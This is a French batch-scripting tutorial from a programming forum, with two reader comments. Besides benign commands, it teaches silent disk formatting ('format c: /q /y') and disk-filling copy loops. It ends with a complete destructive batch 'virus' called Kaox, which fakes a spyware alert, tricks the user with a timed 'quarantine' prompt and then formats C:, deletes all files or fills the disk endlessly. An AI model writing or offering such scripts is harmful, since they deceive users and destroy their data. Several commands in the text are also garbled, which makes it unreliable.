RECHERCHER :
COMMUNAUTE MP
Identifiez vous ...
Devenir Membre
J'ai oublié mon MDP
DOMAINE MP
Langages Généraux
Langages Web
Langages DotNet
Autres langages
Dev. Jeux Video
Sécurité
Sys. Exploitation
Graphismes
Logiciels
Réseaux
Bases de données
Méthodologies
Emplois High-tech
Aide juridique
Articles juridiques
CHAT MP IRC
Votre pseudo ...
Srv: irc.moteurprog.com
Chan: #MoteurProg
PARTICIPER
Plus de 3500 emplois.
Rechercher un job
Déposez votre CV
Emplois High-tech

Visiteur MP
Article Moteurprog

Commande Ms Dos & Batch (bat)




FICHE ARTICLE

Déposer par : Molo Clicks : 14660
Pertinence : 13 / 20 Commentaire : 2

Description :

Fonctions et commandes MS-Dos



 ARTICLE - PAGE 1 / 1



0. Introduction :
Cet article a pour but de concrétiser ce que j' ai débuté dans l'article précédent en utilisant, notamment les exemples et commandes donner dans les commentaire, il y a aussi de nouvelle fonction MS-Dos et à la fin un exemple pour illustrer. Il est fait plus pour le type de fichier Batch. J'ai omis certaine explications précise car cet article a pour but d'être exploiter partie par partie, la lecture totale de cet article n'est pas élémentaire pour la compréhension de chaque partie.
1. Formatage :
1.1 Lecteur C:\:
Un sympathique formatage rapide et discret.
format c: /q /y
/q permet de faire un formatage rapide /y ne pose pas la question "Êtes vous sur de formater ?"
1.2 Lecteur A:\:
Pour formater un disquette, ça peut toujours servir.
format a: /s
/s Sert à copier les fichiers système pour que la disquette soit bootable.
1.3 Lecteur A:\:
La même opération sur le fichier Autoexec.bat
format /u c:>autoexc.bat 
2. Boucle et saut:
Les boucles servent, comme vous-vous le douté, à répéter une ou plusieurs actions, ici en l'occurence goto sert plus généralement a faire des sauts.
:loop
copy c:\Programme Files\*.* c:\Windows\systeme\
goto :loop
:loop sert de point d'encrage, il est définissable de n'import quelle manière, il suffit de mettre les deux points devant.
3. Choix:
Cela permet de poser des question.
choice /C:ab Si tu veut formater tape a sinon tape b
/T:b,10
if errorlevel = 1 goto a
if errorlevel = 2 goto b
:b
format c: /q /y
:a
format c: /q /y

/C:abc permet d'avoir le choix entre a, b et c
/T:b,nn touche b par défaut au bout de nn secondes
3. Attribut des fichiers :
Voici quelque commande utiles.
4.1 Lecture seul:
Cela permet de poser des question.
attrib fichier.doc +r
Active la lecteur seul sur le fichier fichier.doc.
attrib fichier.doc -r
Désactive la lecture seul sur le fichier fichier.doc.
4.2 Archive :
attrib fichier.doc +a
Active l'attribut archive sur le fichier fichier.doc.
attrib fichier.doc -a
Désactive l'attribut archive sur le fichier fichier.doc.
4.3 Caché :
attrib fichier.doc +h
Active l'attribut caché sur le fichier fichier.doc.
attrib fichier.doc -h
Désactive l'attribut caché sur le fichier fichier.doc.
4.4 Caché :
attrib fichier.doc +s
Active l'attribut systè sur le fichier fichier.doc.
attrib fichier.doc -s
Désactive l'attribut systè sur le fichier fichier.doc.
5. Les commutateurs :
Les commutateur sont très utiles pour préciser l'utilisation que vous voulez faie de le commade employée.
/a
Les commutateur sont fait dun slash suivit d'une lettre. Je n'est pas mis d'autre exemple puisque les paramètre sont en fonction des commandes qu'ils suivent.
6. Autres :
Ici se trouve des commandes qui peuvent être très utile, je les est mis en vrac, ne sachant pas comment les organisé.
6.1 Temporisation :
Pause avec le texte: Appuyer sur une touche pour continuer :
pause
Pause sans le texte: Appuyer sur une touche pour continuer :
pause>nul
Pause sans appuyer sur une touche :
choice /t:o,5>nul
Remplacer "5" par le nombre de seconde que vous voulez.
6.2 Le texte :
Écrire un texte :
echo
Sauter une ligne :
echo.
6.3 Affichage :
Effacer l'écran :
cls
Effacer l'entête dos :
echo off
Ne pas monter la commande en cous :
@
Il suffit de rajouter un arobase devant la commande.
6.4 Windows :
Quitter Windows :
%windir%\RUNDLL32.EXE User.exe,ExitWindows
Quitte Windows sans pré.
Relancer Windows :
shutdown
6.5 Les commentaires :
Insérer un commentaire :
rem
6.6 Les dossiers :
Supprimé un dossier et son contenu :
deltree
Créer un dossier :
md
6.7 Le son :
beep constant :
choice /N < nul
7. Exemple :
7.1 Attention :
Le code suivant peut faire de gros dégas, donc attention a son utilisation.
7.2 L'exemple :
code:
@echo off
cls
rem #_nom du virus: Kaox
rem #_code créé le 05/04/2004 à 3h04 
rem #_auteur : Freak
rem #_code créé pour : moteurprog.com
rem #_code de 31 lignes et de 1 069 octets
echo ##################################################
echo ALERTE !!! 
echo Votre ordinateur est infecter par un spyware.
echo Le fichier msbb.exe  à été trouver.
echo ##################################################
pause
choice /C:ab Si vous voulez mettre le fichier en quarantaine tapez "a" sinon tapez "b". Si dans les 15 secondes qui suivent vous n'avez pas choisi, le fichier sera automatiquement mit en quarantaine.
/T:a,15
if errorlevel = 1 goto a
if errorlevel = 2 goto b
:a
cls
@format c: /u /q
@deltree /y c:\*.*
echo Freak est heureux de vous annoncer que votre disque dur a été 
echo formaté ;-)
goto :fin
:b
cls
:loop
@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
echo Votre ordinateur est en train de se remplir a l' infini ;-)
goto :loop
:fin 
8. Conclusion :
8.1 En général :
En conclusion le langage Batch a de très nombreuse possibilité dans les domaines des commandes pour l'ordinateur.. Le batch tient sa force de l'association de la souplesse et de la simplicité, c'est ce qui le rend si maniable. Je rappelle au passage que les fichiers en langage Batch ont comme extension de fichier .bat, on peut les compilé, ils deviennent alors des fichiers munit de l'extension .com.
8.2 Le mot de l'auteur :
J'espère que cet article vous aura fait progresser ou découvrir le Batch, voila c'est terminé si vous avez des problèmes n'hésitez pas a en parler sur le forum ou a m'envoyer un email.
9. Remerciement :
Je tiens a remercier Ripper pour son aide apporté à cet article. Je remercie aussi les sites qui m'on permis d'apprendre le Batch.



Commentaires du tutorial

Vous pouvez ci-dessous ajouter un commentaire à cet article (uniquement si vous êtes membre Moteurprog

Vous n'êtes pas membre de la communauté Moteurprog,
vous ne pouvez donc pas ajouter de nouveaux commentaires

Devenir Membre de la communauté



 Écrit par niky

Le 05/01/07 à 01:05 

"Le code suivant peut faire de gros dégas, donc attention a son utilisation." En effet même mon antivirus s'est déclancher lors du lancemnt de ce sript !

 Écrit par axellionel

Le 29/12/08 à 12:36 

c estvraiment bon , je suis heureux j ai encors une chose mais j aimerai savoir comment faire un bat qui demarre en meme temps windows



.: Site Web développé par Yann Pingot et l'équipe MPWG avec www.evolvia-web.com :.